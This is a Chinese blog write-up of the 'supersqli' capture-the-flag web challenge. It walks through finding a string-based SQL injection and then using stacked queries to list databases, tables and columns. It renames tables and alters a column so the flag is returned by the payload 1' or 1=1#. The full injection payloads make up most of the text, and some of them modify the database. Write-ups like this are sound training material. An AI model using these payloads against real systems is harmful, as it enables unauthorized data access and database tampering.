WEB:supersqli(多解)

文章详细描述了一次SQL注入攻击的过程,从识别注入点到利用堆叠注入技术进行数据库操作,包括改表名、列名以达到获取敏感信息的目的。过程中涉及到字符型注入漏洞的判断、万能注入语句的使用以及对数据库结构的探索。
摘要由CSDN通过智能技术生成

背景知识

        sql注入

        堆叠注入

题目

输入款默认1,先输入1,页面正常显示

再输入1',显示报错

加上注释符号#或者--+或者%23(注释掉后面语句,使1后面的单引号与前面的单引号成功匹配就不会报错)页面回显正常,那么闭合符号就是单引号。

输入 1#

 

判断类型,查询1 and 1=1 和1 and 1=2,发现两次提交后页面一样,可以判断出为字符型注入漏洞; 

使用万能注入语句

1' or 1=1#

 

回显不正常,存在注入

判断列数

1' order by 2#     // 回显正常

1' order by 3#     // 会报错,说明只有两列

 尝试联合查询

1' union select 1,2#

发现过滤了很多函数,select不能用 

尝试堆叠注入

  1. 先看数据库
1'; show databases;#

         2. 查表名

1'; show tables;#
or
1';use supersqli;show tables;#

         3. 查列名

查询表中的列,表名需要使用反单引号引起来,在windows系统下,反单引号(`)是数据库、表、索引、列和别名的引用符。

1'; show columns from `words`;#

1';use supersqli;show columns from `1919810931114514`;#

下一步应该是select flag from `1919810931114514`,但是select被过滤

查询word列发现结构大致相同,由于注入框的查询是对列id的搜索,此时参考两个表的列名,需要将flag列名改为能够查找的id列(修改包括名称和数据类型)。

过滤中并没有alert 和 rename,我们已经知道了words是用来回显内容的,我们把1919810931114514这个表更改名字为words,并增加相应的字段,使之回显原1919810931114514这个表的内容。

1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#
or
1';rename table `words` to `words1`;rename table `1919810931114514` to `words`;alter table `words` change `flag` `id` varchar(100) ;show columns from words;#

 再用万能语句,得到flag

1' or 1=1#

 参考文章链接:

攻防世界——supersqli_Shock397的博客-CSDN博客

supersqli(SQL注入流程及常用SQL语句)_kali-Myon的博客-CSDN博客

  • 1
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值